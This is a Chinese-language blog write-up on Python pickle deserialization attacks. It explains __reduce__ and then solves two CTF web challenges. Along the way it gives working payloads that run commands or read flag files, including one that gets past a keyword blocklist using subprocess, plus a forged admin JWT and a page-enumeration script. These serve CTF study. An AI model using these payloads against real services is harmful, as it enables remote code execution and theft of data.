Pickle反序列化

文章摘要

Bpple-GPT

Pickle反序列化

  • Pickle反序列化
    • 说明
    • 攻击
      • 攻击手段
      • protocol
    • 例题
      • DASCTF 2024最后一战--const_python
      • [CISCN2019 华北赛区 Day1 Web2]ikun

说明

跟别的反序列化攻击的大致思路一样,就是我们攻击的时候如果可以在序列化的数据里面嵌入恶意代码,当我们发序列化这个数据的时候,这些恶意代码就可以被执行,达到攻击的效果。

在此之前学习一下Python的 __reduce__方法

在Python中,__reduce__方法是对象序列化(即将对象转换为字节流)的一个重要部分,特别是在使用pickle模块时。__reduce__方法允许你定义对象在被序列化和反序列化时的行为。 具体来说,__reduce__方法返回一个元组,该元组包含两个元素:
一个可调用对象(通常是一个构造函数或一个函数),用于在反序列化时重新创建对象。
一个参数元组,这些参数将传递给上述的可调用对象。
通过实现__reduce__方法,你可以自定义对象的序列化和反序列化过程

一个 __reduce__典型的例子:

import pickle

class MyClass:
    def __init__(self, value):
        self.value = value
  
    def __reduce__(self):
        # 返回一个元组(可调用对象,参数)
        return (self.__class__, (self.value,))

# 创建对象
obj = MyClass(42)

# 序列化对象
serialized_obj = pickle.dumps(obj)

# 反序列化对象
deserialized_obj = pickle.loads(serialized_obj)

print(deserialized_obj.value)  # 输出: 42

这个序列化的流程如下:序列化流程:

  1. Python检查对象是否实现 __reduce__
  2. 调用 obj.__reduce__()得到重构对象所需的信息
  3. 将返回的元组转换为字节流(此时相当于存储命令 "用MyClass和参数42重建对象"

反序列化流程:

  1. 解析字节流获取重构信息
  2. 执行 MyClass(42)调用(通过 __reduce__中提供的信息)
  3. 创建与原始对象相同状态的新实例

当然如果没有这个 __reduce__方法的话,测试也是成功的,这利用的是pickle自己默认序列化方法

这里记录一下:

pickle.dumps(obj) 的默认处理步骤:
1. 检查对象是否属于基本类型(如 int/str/list 等)
2. 如果是自定义类实例:
   a. 记录类的全限定名(module + class name)
   b. 保存实例的__dict__属性字典
   c. 生成重建指令:unpickle时会通过 import 类->创建空实例->填充__dict__来实现
pickle.loads(serialized_obj) 的默认反序列化过程:
1. 查找并导入原始类(需要类的定义在作用域内可用)
2. 创建类的空实例(使用__new__方法)
3. 将保存的__dict__属性还原到新实例中(跳过__init__方法)

攻击

从一个例子入手

import pickle
import os

class MaliciousPickle:
    # __reduce__ method is called when the object is pickled
    def __reduce__(self):
        return (os.system,("echo hello",))

data = pickle.dumps(MaliciousPickle())
print(data)
pickle.loads(data)

利用这个例子,可以看出我们已经实现了反序列化攻击

需要了解到的是:
pickle.loads对于没有显式引入的module会自动尝试import。我们可以尝试更多的命令执行

攻击手段

  • eval
  • os
  • subprocess

沙盒逃逸的知识

protocol

protocolpickle 模块的一个参数,用于指定序列化和反序列化数据时使用的协议版本。pickle 模块提供了几种不同的协议版本,每个版本都有不同的特性和能

具体来说:

  • protocol=0:这是最早的文本协议(兼容Python 2.x的文本格式)。
  • protocol=1:这是早期的二进制格式。
  • protocol=2:引入了Python 2.3,提供了更高效的二进制格式(包含新的对象类型)。
  • protocol=3:引入了Python 3.x,支持 bytes对象。
  • protocol=4:引入了Python 3.4,支持更大的对象(超过4GB),并且更高效。
  • protocol=5:引入了Python 3.8,支持out-of-band数据和其他优化。

需要注意的是

  • protocol=0:文本格式,兼容Python 2.x和Python 3.x。
  • protocol=1:早期的二进制格式,兼容Python 2.x和Python 3.x。
  • protocol=2:引入了Python 2.3,支持新的对象类型和更高效的二进制格式。兼容Python 2.3及以上版本。
  • protocol=3:引入了Python 3.x,支持 bytes对象。仅兼容Python 3.x。
  • protocol=4:引入了Python 3.4,支持更大的对象(超过4GB),并且更高效。仅兼容Python 3.4及以上版本。
  • protocol=5:引入了Python 3.8,支持out-of-band数据和其他优化。仅兼容Python 3.8及以上版本。

例题

DASCTF 2024最后一战--const_python

根据提示访问src,可以获得源代码

import builtins
import io
import sys
import uuid
from flask import Flask, request,jsonify,session
import pickle
import base64


app = Flask(__name__)

app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "")


class User:
    def __init__(self, username, password, auth='ctfer'):
        self.username = username
        self.password = password
        self.auth = auth

password = str(uuid.uuid4()).replace("-", "")
Admin = User('admin', password,"admin")

@app.route('/')
def index():
    return "Welcome to my application"


@app.route('/login', methods=['GET', 'POST'])
def post_login():
    if request.method == 'POST':

        username = request.form['username']
        password = request.form['password']


        if username == 'admin' :
            if password == admin.password:
                session['username'] = "admin"
                return "Welcome Admin"
            else:
                return "Invalid Credentials"
        else:
            session['username'] = username


    return '''
        <form method="post">
        <!-- /src may help you>
            Username: <input type="text" name="username"><br>
            Password: <input type="password" name="password"><br>
            <input type="submit" value="Login">
        </form>
    '''


@app.route('/ppicklee', methods=['POST'])
def ppicklee():
    data = request.form['data']

    sys.modules['os'] = "not allowed"
    sys.modules['sys'] = "not allowed"
    try:

        pickle_data = base64.b64decode(data)
        for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
                 'compile', 'requests', 'exit',  'pickle',"class","mro","flask","sys","base","init","config","session"}:
            if i.encode() in pickle_data:
                return i+" waf !!!!!!!"

        pickle.loads(pickle_data)
        return "success pickle"
    except Exception as e:
        return "fail pickle"


@app.route('/admin', methods=['POST'])
def admin():
    username = session['username']
    if username != "admin":
        return jsonify({"message": 'You are not admin!'})
    return "Welcome Admin"


@app.route('/src')
def src():
    return  open("app.py", "r",encoding="utf-8").read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=5000)

审计一下,这题的突破口就是/ppicklee

构造pickle链子

本来是想利用命令读出flag,但是基本无回显,根据wp学习需要再利用 src路由替换读出flag

import base64
import subprocess

import pickle

class hack():
    def __reduce__(self):
        return (subprocess.check_output, (["cp","/flag","/app/app.py"],))


data = pickle.dumps(hack())
print(base64.b64encode(data))

访问 src即可

[CISCN2019 华北赛区 Day1 Web2]ikun

​​​<u></code>​​</code></code>​​​</code></code>​​</code></code>image-20250208121913351​​</u></code>​​</code></code>​​​</code></code>​​</code></code>

写一个简陋的脚本,因为发现那个lv6.png是独特的

import requests
url = "http://8aa61dba-6579-45fc-b171-0b06eb9bda3a.node5.buuoj.cn:81/shop?page="
i = 1

while True:
    response = requests.get(url + str(i))
    if "lv6.png" in response.text:
        print("在第{}页找到了lv6".format(i))
        break
    i += 1

输出是第183

image-20250208142027685

访问这个/b1g_m4mber,提示需要admin

就是jwt的内容,弱密钥

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

访问源代码可以找到www.zip下载

找到目标文件:

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

构造

这里使用的是Python2语法,os库不可用

py2

import pickle
import urllib
import commands

class payload(object):
	def __reduce__(self):
		return (commands.getoutput, ('ls /',))

p = payload()
p = urllib.quote(pickle.dumps(p))
print(p)

py3,这里protocol=0涉及到刚才上面那个问题

import pickle
import urllib
import os


class hack(object):
    def __reduce__(self):
          return (eval, ("open('/flag.txt','r').read()",))


a = pickle.dumps(hack(),protocol=0)
print(urllib.parse.quote(a))

用键盘敲击出的不只是字符,更是一段段生活的剪影、一个个心底的梦想。希望我的文字能像一束光,在您阅读的瞬间,照亮某个角落,带来一丝温暖与共鸣。

BX33661

站长

不具版权性
不具时效性

文章内容不具时效性。若文章内容有错误之处,请您批评指正。


目录

欢迎来到Bpple的站点,为您导航全站动态

64 文章数
20 分类数
44 评论数
15标签数
最近评论
bpple

bpple


一切顺利

fetain

fetain


good luck

bx

bx


good luck

热门文章

Emoji收集

2024-11-01

542
Hello Halo

2024-10-30

524
本地部署LLM

2024-08-22

505
Uptime Kuma

2024-11-29

499
229

访问统计